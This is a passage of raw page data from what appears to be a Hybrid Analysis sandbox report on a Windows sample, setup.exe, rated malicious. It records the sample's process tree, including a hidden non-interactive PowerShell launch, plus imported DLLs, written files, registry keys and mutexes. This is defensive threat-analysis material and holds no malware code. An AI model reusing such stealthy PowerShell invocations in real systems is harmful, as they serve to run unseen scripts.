Safari/537.36 Edg/123.0.2436.110\nHost: jsonplaceholder.typicode.com\nAccept-Encoding: gzip, deflate","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}],"processes":[{"pid":7752,"ppid":0,"name":"setup.exe","command_line":"","sha256":"8f3ae43e01f5f8965cba7e02646757d0a4a746ebb8735b864d458f63bdd59f36","normalized_path":"C:\\setup.exe","uid":"00000000-00007752","icon":"$57"},{"pid":6032,"ppid":7752,"name":"chrome.exe","command_line":"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00007752","uid":"00000000-00006032"},{"pid":4304,"ppid":7752,"name":"msedge.exe","command_line":"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00007752","uid":"00000000-00004304"},{"pid":3652,"ppid":7752,"name":"dllhost.exe","command_line":"","sha256":"6eee0bba5afb762b96e605b4a7eebd3b22f4c8696ad0b6119aab0fcdb119ffbb","normalized_path":"%WINDIR%\\SysWOW64\\dllhost.exe","parent_uid":"00000000-00007752","uid":"00000000-00003652"},{"pid":6612,"ppid":7752,"name":"powershell.exe","command_line":"%WINDIR%\\Sysnative\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -NoLogo -NonI -Command -","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007752","uid":"00000000-00006612"}],"all_imported_dlls":["AcGenral.dll","version.dll","comctl32.dll","wintrust.dll","sspicli.dll","urlmon.dll","imm32.dll","winhttp.dll","System.Numerics.ni.dll","ntdll.dll","StructuredQuery.dll","msi.dll","secur32.dll","Microsoft.Management.Infrastructure.ni.dll","kernel32.dll","uxtheme.dll","rasadhlp.dll","sppc.dll","windows.storage.dll","advapi32.dll","iertutil.dll","clbcatq.dll","mscoreei.dll","clrjit.dll","System.Core.ni.dll","KernelBase.dll","cryptbase.dll","winhttpcom.dll","oleaut32.dll","gdi32.dll","shell32.dll","mpr.dll","IPHLPAPI.DLL","dnsapi.dll","ncryptsslp.dll","GdiPlus.dll","psapi.dll","ntasn1.dll","dhcpcsvc6.dll","MpClient.dll","System.Transactions.ni.dll","SHCore.dll","linkinfo.dll","wldp.dll","System.Net.Http.ni.dll","userenv.dll","Windows.StateRepositoryPS.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","user32.dll","msvcp_win.dll","VxSSL32.dll","8Dni3ue3.dll","System.Transactions.dll","wow64win.dll","ucrtbase.dll","fltLib.dll","schannel.dll","VxSSL64.dll","nsi.dll","aepic.dll","System.Configuration.ni.dll","combase.dll","powrprof.dll","ws2_32.dll","crypt32.dll","ncrypt.dll","System.Data.ni.dll","msedge_elf.dll","winnsi.dll","rasapi32.dll","cfgmgr32.dll","bcrypt.dll","mswsock.dll","propsys.dll","ucrtbase_clr0400.dll","slc.dll","rsaenh.dll","rtutils.dll","System.Dynamic.dll","win32u.dll","samcli.dll","amsi.dll","rasman.dll","System.Management.ni.dll","msasn1.dll","mscorlib.ni.dll","System.Xml.ni.dll","Microsoft.CSharp.dll","sxs.dll","wow64cpu.dll","imagehlp.dll","edputil.dll","gpapi.dll","msvcrt.dll","ole32.dll","atl.dll","System.Data.dll","kernel.appcore.dll","cryptsp.dll","FWPUCLNT.DLL","cldapi.dll","winmmbase.dll","dpapi.dll","MpOAV.dll","System.Configuration.Install.ni.dll","chrome_elf.dll","vcruntime140_clr0400.dll","sechost.dll","clr.dll","apphelp.dll","profapi.dll","msacm32.dll","osbaseln.dll","duser.dll","shlwapi.dll","mskeyprotect.dll","System.Management.Automation.ni.dll","Microsoft.PowerShell.Security.ni.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","wow64.dll","Windows.Storage.Search.dll","ntmarta.dll","mscoree.dll","OnDemandConnRouteHelper.dll","rpcrt4.dll","dwmapi.dll","bcryptprimitives.dll","gdi32full.dll","winmm.dll","dhcpcsvc.dll","WinTypes.dll","System.ni.dll","System.DirectoryServices.ni.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_rdqndxat.iqc.ps1","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_w2yxygoy.5w1.psm1","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6612:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6612:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"name":"SM0:6612:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"name":"Local\\SM0:6612:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"name":"SM0:6612:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6612:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]}]}},"report_ids":{"sandbox_job_ids":["69f3e478e8eaee8f500f0b28"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Win/malicious_confidence_60% Sample 8f3ae43e01f5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 8f3ae43e01f5…. Malware family: Win/malicious_confidence_60%. Threat score 100/100. 3/28 AV engines flagged this file. 8 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/8f3ae43e01f5f8965cba7e02646757d0a4a746ebb8735b864d458f63bdd59f36"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_60% Sample 8f3ae43e01f5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 8f3ae43e01f5…. Malware family: Win/malicious_confidence_60%. Threat score 100/100. 3/28 AV engines flagged this file. 8 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/8f3ae43e01f5f8965cba7e02646757d0a4a746ebb8735b864d458f63bdd59f36"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_60% Sample 8f3ae43e01f5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 8f3ae43e01f5…. Malware family: Win/malicious_confidence_60%. Threat score 100/100. 3/28 AV engines flagged this file. 8 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L58","11",{}]]